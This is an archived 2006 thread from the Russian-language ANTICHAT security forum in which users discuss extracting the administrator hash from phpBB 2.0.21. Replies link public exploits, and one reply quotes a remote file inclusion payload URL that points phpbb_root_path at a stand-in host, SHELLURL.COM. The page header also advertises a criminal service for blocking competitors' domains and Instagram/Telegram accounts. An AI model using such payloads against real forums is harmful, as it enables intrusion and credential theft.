УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости > Форумы
Кто реально вытаскивал хеш админа форума на phpBB2.0.21?

Опции темы

Поиск в этой теме

Опции просмотра

Кто реально вытаскивал хеш админа форума на phpBB2.0.21?

25.10.2006, 14:48

oxigen

Новичок

Регистрация: 19.12.2005

Сообщений: 7

Провел на форуме:
12565

Репутация: 0

Кто реально вытаскивал хеш админа форума на phpBB2.0.21?

Сейчас phpBB один из самых стабильных состем форумов.
Есть ли такие перцы кто всё же ломал последню версию?

Если не секрет то как? каким экспойтом, или чем-то другим?

Поделись - интересно.

Пробывали многие, но у кого получалось?

25.10.2006, 15:01

rijy

Постоянный

Регистрация: 25.09.2006

Сообщений: 451

Провел на форуме:
2639641

Репутация: 1573

multiple PHP application poison NULL byte vulnerability phpBB 2.0.21
http://milw0rm.com/exploits/2348

Minerva <= 2.0.21 build 238a (phpbb_root_path) File Include Vulnerability
http://milw0rm.com/exploits/2429

з.ы. сам пока не пробовал эту версию...

25.10.2006, 20:21

Brahma

Познающий

Регистрация: 14.07.2006

Сообщений: 85

Провел на форуме:
72678

Репутация: 31

последний сплойт

Код:

Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/admin/admin_topic_action_logging.php?setmodules=attach&phpbb_root_path=http://SHELLURL.COM

В упор не вижу файла admin_topic_action_logging.php?... (во 2ой ветке..)

27.10.2006, 05:00

syntacsis

Участник форума

Регистрация: 14.11.2005

Сообщений: 146

Провел на форуме:
981128

Репутация: 43

Цитата:

Сообщение от Brahma

В упор не вижу файла admin_topic_action_logging.php?... (во 2ой ветке..)

Неудивительно =)
Это файл от мода "Admin Topic Action Logging Mod" для phpbb. Сплоит если и будет работать, то только на форуме с этим модом

Цитата:

Сообщение от oxigen

Есть ли такие перцы кто всё же ломал последню версию?
Если не секрет то как? каким экспойтом, или чем-то другим?
Поделись - интересно.

Насколько мне известно, такие перцы есть. И тут на ачате тоже. И совсем не секрет, чем они ломали - мозгами и руками. =)

Последний раз редактировалось syntacsis; 27.10.2006 в 05:13..

27.10.2006, 16:44